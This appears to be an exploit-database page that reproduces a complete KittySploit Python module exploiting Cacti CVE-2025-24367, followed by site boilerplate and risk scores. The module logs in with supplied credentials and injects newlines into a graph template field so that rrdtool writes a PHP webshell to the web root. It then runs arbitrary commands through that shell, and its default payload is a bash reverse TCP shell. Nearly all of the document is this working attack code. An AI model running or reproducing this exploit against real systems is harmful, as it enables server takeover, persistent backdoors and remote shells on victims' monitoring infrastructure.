Lucene search
+L

Cacti CVE-2025-24367 graph template RCE

🗓️ 26 Oct 2026 17:01:54Reported by KittySploitType 
kittysploit
 kittysploit
🔗 github.com👁 6 Views

Authenticated RCE in Cacti via newline injection in graph template right_axis_label.

Related
Refs
Code
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Cacti CVE-2025-24367 authenticated graph-template RCE via rrdtool injection."""

from __future__ import annotations

import random
import re
import string

from kittysploit import *
from lib.exploit.handler import Handler
from lib.protocols.http.http_client import Http_client


class Module(Exploit, Http_client, Handler):
    __info__ = {
        "name": "Cacti CVE-2025-24367 graph template RCE",
        "description": (
            "CVE-2025-24367 (Cacti <= 1.2.28): newline injection in graph template "
            "right_axis_label breaks out of rrdtool arguments and writes PHP to the "
            "web root. Authenticated; plants a ?c= webshell and runs the given command."
        ),
        "author": ["KittySploit Team"],
        "cve": ["CVE-2025-24367"],
        "platform": Platform.MULTI,
        "arch": [Arch.PHP],
        "payload": {
            "default": "payloads/singles/cmd/unix/bash_reverse_tcp",
            "platform": Platform.UNIX,
            "category": PayloadCategory.CMD,
        },
        "references": [
            "https://nvd.nist.gov/vuln/detail/CVE-2025-24367",
            "https://github.com/dinosn/exploit-watch-archive",
        ],
        "tags": ["cacti", "rrdtool", "authenticated", "rce", "cve-2025-24367"],
        "agent": {
            "risk": "intrusive",
            "effects": ["active_exploitation", "remote_code_execution"],
            "expected_requests": 8,
            "reversible": False,
            "approval_required": True,
            "produces": ["webshell", "rce"],
            "requires": {"tech_hints_any": ["cacti"]},
            "chain": {"suggested_followups": ["scanner/http/cacti_cve_2025_24367_detect"]},
        },
    }

    cacti_path = OptString("/cacti", "Cacti web path prefix", required=False)
    username = OptString("", "Cacti username", required=True)
    password = OptString("", "Cacti password", required=True)
    template_name = OptString("Unix - Logged in Users", "Graph template filter name", required=False)
    local_graph_id = OptString("3", "local_graph_id for graph_json trigger", required=False, advanced=True)
    command = OptString("", "Command for webshell ?c= (overrides payload)", required=False)

    def _prefix(self) -> str:
        p = str(self.cacti_path or "/cacti").strip()
        return p if p.startswith("/") else f"/{p}"

    @staticmethod
    def _csrf_token(html: str) -> str:
        match = re.search(r'csrfMagicToken\s*=\s*"(sid:[a-z0-9]+,[a-z0-9]+)', html or "")
        if not match:
            raise RuntimeError("csrfMagicToken not found")
        return match.group(1)

    def _login(self) -> None:
        index = f"{self._prefix()}/index.php"
        resp = self.http_request("GET", index)
        token = self._csrf_token((resp.text or "") if resp else "")
        self.http_request(
            "POST",
            index,
            data={
                "__csrf_magic": token,
                "action": "login",
                "login_username": str(self.username or ""),
                "login_password": str(self.password or ""),
            },
        )
        chk = self.http_request("GET", index)
        if "logout" not in ((chk.text or "") if chk else "").lower():
            raise RuntimeError("Cacti login failed")

    def _plant_webshell(self) -> str:
        tpl_name = str(self.template_name or "Unix - Logged in Users")
        listing = self.http_request(
            "GET",
            f"{self._prefix()}/graph_templates.php",
            params={"filter": tpl_name, "rows": "-1", "has_graphs": "false"},
        )
        html = (listing.text or "") if listing else ""
        tid_match = re.search(r"chk_(\d+)", html)
        if not tid_match:
            print_error("Graph template id not found")
            return False
        tid = tid_match.group(1)

        edit = self.http_request(
            "GET",
            f"{self._prefix()}/graph_templates.php",
            params={"action": "template_edit", "id": tid},
        )
        csrf = self._csrf_token((edit.text or "") if edit else "")

        shell_name = "".join(random.choices(string.ascii_letters + string.digits, k=8)) + ".php"
        payload_php = "<?=`$_GET[c]`;?>"
        right_axis = (
            "XXX\n"
            "create my.rrd --step 300 DS:temp:GAUGE:600:-273:5000 RRA:AVERAGE:0.5:1:1200\n"
            f"graph {shell_name} -s now -a CSV DEF:out=my.rrd:temp:AVERAGE LINE1:out:{payload_php}\n"
        )
        data = {
            "__csrf_magic": csrf,
            "name": tpl_name,
            "graph_template_id": tid,
            "graph_template_graph_id": tid,
            "save_component_template": "1",
            "title": "|host_description| - Logged in Users",
            "vertical_label": "percent",
            "image_format_id": "3",
            "height": "200",
            "width": "700",
            "base_value": "1000",
            "slope_mode": "on",
            "auto_scale": "on",
            "auto_scale_opts": "2",
            "auto_scale_rigid": "on",
            "upper_limit": "100",
            "lower_limit": "0",
            "right_axis_label": right_axis,
            "rrdtool_version": "1.7.2",
            "action": "save",
        }
        self.http_request(
            "POST",
            f"{self._prefix()}/graph_templates.php",
            params={"header": "false"},
            data=data,
        )

        gid = str(self.local_graph_id or "3")
        self.http_request(
            "GET",
            f"{self._prefix()}/graph_json.php",
            params={
                "rra_id": "0",
                "local_graph_id": gid,
                "graph_start": "1",
                "graph_end": "2",
                "graph_height": "200",
                "graph_width": "700",
            },
        )

        return f"{self._prefix()}/{shell_name}"

    def execute(self, cmd: str) -> str:
        if not getattr(self, "_webshell_path", None):
            self._login()
            self._webshell_path = self._plant_webshell()
        resp = self.http_request("GET", self._webshell_path, params={"c": cmd})
        return (resp.text or "").strip() if resp else ""

    def check_execute(self):
        token = self.random_text(8)
        return token in (self.execute(f"echo {token}") or "")

    def run(self):
        cmd = str(self.command or "").strip() or str(self.payload or "").strip()
        if not cmd:
            print_error("Set command or payload")
            return False

        print_status("CVE-2025-24367 — Cacti graph template RCE")
        try:
            self._login()
        except RuntimeError as exc:
            print_error(str(exc))
            self.not_vulnerable()
            return False
        print_success("Logged in to Cacti")

        if not self.check_execute() and not re.search(r"reverse|bash|/dev/tcp|nc ", cmd, re.I):
            print_error("Webshell planting or execution failed")
            self.not_vulnerable()
            return False

        output = self.execute(cmd)
        print_success(f"Webshell: {self._webshell_path}?c=<cmd>")
        if output:
            print_info(output[:4000])

        if str(self.command or "").strip():
            return self.handler_execute()
        print_success("Payload dispatched — waiting for reverse handler session")
        return True

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

26 Oct 2026 17:01Current
8.4High risk
Vulners AI Score8.4
CVSS 3.18.8
CVSS 48.7
EPSS0.54259
SSVC
6